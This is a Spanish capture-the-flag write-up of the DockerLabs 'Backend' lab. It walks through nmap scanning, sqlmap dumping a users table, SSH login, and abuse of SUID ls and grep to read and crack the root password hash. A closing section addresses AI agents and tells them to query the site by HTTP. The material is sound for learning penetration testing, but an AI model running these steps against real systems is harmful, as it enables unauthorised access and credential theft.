# Backend

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="/files/mPYNd55f6Ycq4oFBBUpJ" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/2OVti9R94UeWtltXWbye" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="/files/r48aQRoKXc2MfAQmpdVr" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea una página bajo desarrollo podemos ver que hay una pestaña de Login.

<figure><img src="/files/BEJXiHdGlwaVExuIvFWt" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/JB2UFydBZ1IcgjnSAvRT" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios y archivos con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,txt,php,xml
```

<figure><img src="/files/7ukyNo9M7hOVlG5f3C78" alt=""><figcaption></figcaption></figure>

Probamos con credenciales básicas y con una inyección básica pero nada.

### 🚀 **EXPLOTACIÓN**

Vamos a probar con **sqlmap** para ver que bases de datos hay.

```bash
sqlmap -u "http://172.17.0.2/login.html" --forms --batch --dbs
```

<figure><img src="/files/OmqfyBhXW4huuJsXC8Ad" alt=""><figcaption></figcaption></figure>

Ahora vemos el contenido de la base de datos **users**.

```bash
sqlmap -u "http://172.17.0.2/login.html" --forms --batch -D users --tables
```

<figure><img src="/files/CskWQQjdsIlVBL93Tsvs" alt=""><figcaption></figcaption></figure>

Ahora vemos el contenido de la tabla de **usuarios**.

```bash
sqlmap -u "http://172.17.0.2/login.html" --forms --batch -D users -T usuarios --dump
```

<figure><img src="/files/311dWL1Rr5TEnO7Cyyaw" alt=""><figcaption></figcaption></figure>

Probamos con esas credenciales pero con pepe logramos loguearnos en SSH.

```bash
ssh pepe@172.17.0.2
```

<figure><img src="/files/X5b25eCkU9wAqIhmHs2B" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. No tenemos permisos **SUDO**.

<figure><img src="/files/x583ulCGxyIRdSqHYUAi" alt=""><figcaption></figcaption></figure>

Buscamos permisos **SUID**.

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/aMnNPzuIX1t9uNSuLmtV" alt=""><figcaption></figcaption></figure>

Nos llama la atención **ls** y **grep** por lo que buscamos en esta [página ](https://gtfobins.github.io/)cómo explotarlo.

```bash
/usr/bin/ls -la /root
/usr/bin/grep '' /root/pass.hash
```

<figure><img src="/files/QET1E5XOP9QBQ6wkfVBm" alt=""><figcaption></figcaption></figure>

Vemos que es un hash en formato **MD5** por lo que vamos a desencriptarlo.

```bash
john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
```

<figure><img src="/files/4nkkHfVCFYzKKIccCZHP" alt=""><figcaption></figcaption></figure>

Nos logueamos como root.

<figure><img src="/files/tbmYG59sCdMHXd72N9W5" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/backend.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
